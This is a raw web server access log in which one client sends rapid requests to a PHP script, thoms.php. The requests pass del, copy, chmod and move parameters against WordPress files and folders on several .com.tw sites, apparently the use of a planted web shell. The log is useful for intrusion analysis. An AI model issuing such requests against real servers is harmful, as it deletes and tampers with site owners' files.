45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21317 "https://163.245.207.76/thoms.php?del=wp-load.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?del=setting-checkpoint&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21369 "https://163.245.207.76/thoms.php?chmod=.well-known&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21327 "https://163.245.207.76/thoms.php?del=setting-checkpoint&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=readme.html HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21326 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-signup.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21318 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=readme.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?del=wp-admin&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21318 "https://163.245.207.76/thoms.php?del=wp-admin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?del=wp-config-sample.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21319 "https://163.245.207.76/thoms.php?del=wp-config-sample.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?del=readme.html&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21330 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21330 "https://163.245.207.76/thoms.php?del=readme.html&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21331 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21268 "https://163.245.207.76/thoms.php?chmod=wp-trackback.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=bossini.com.tw&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11408 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21319 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=bossini.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=bossini.com.tw&p=bossini.com.tw HTTP/1.1" 200 11456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=bossini.com.tw&p=wp-content HTTP/1.1" 200 11378 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=bossini.com.tw&p=bfl.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=bossini.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=bossini.com.tw&p=cgi-bin HTTP/1.1" 200 11308 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=bossini.com.tw&p=upgrade HTTP/1.1" 200 11358 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=bossini.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=bossini.com.tw&p=bft.com.tw HTTP/1.1" 200 11426 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=bossini.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=bossini.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=bossini.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=bossini.com.tw&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=bossini.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=bossini.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?copy=bossini.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21428 "https://163.245.207.76/thoms.php?copy=bossini.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?copy=bossini.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?copy=bossini.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?copy=bossini.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?copy=bossini.com.tw&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11442 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21434 "https://163.245.207.76/thoms.php?copy=bossini.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:32 -0400] "GET /thoms.php?copy=bossini.com.tw&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21435 "https://163.245.207.76/thoms.php?copy=bossini.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?copy=bossini.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?copy=bossini.com.tw&p=betcity.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21425 "https://163.245.207.76/thoms.php?copy=bossini.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?copy=wp-content&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21439 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21449 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21449 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21400 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:34 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21463 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:34 -0400] "GET /thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21461 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:34 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21462 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21469 "https://163.245.207.76:443/thoms.php?p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:34 -0400] "GET /thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21535 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:34 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:34 -0400] "GET /thoms.php?copy=wp-content&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11396 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:34 -0400] "GET /thoms.php?copy=wp-content&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:34 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 12538 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:34 -0400] "GET /thoms.php?copy=wp-content&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:34 -0400] "GET /thoms.php?copy=wp-content&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:34 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:34 -0400] "GET /thoms.php?copy=wp-content&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11846 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:34 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 17604 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:35 -0400] "GET /thoms.php?copy=wp-content&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:35 -0400] "GET /thoms.php?copy=wp-content&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
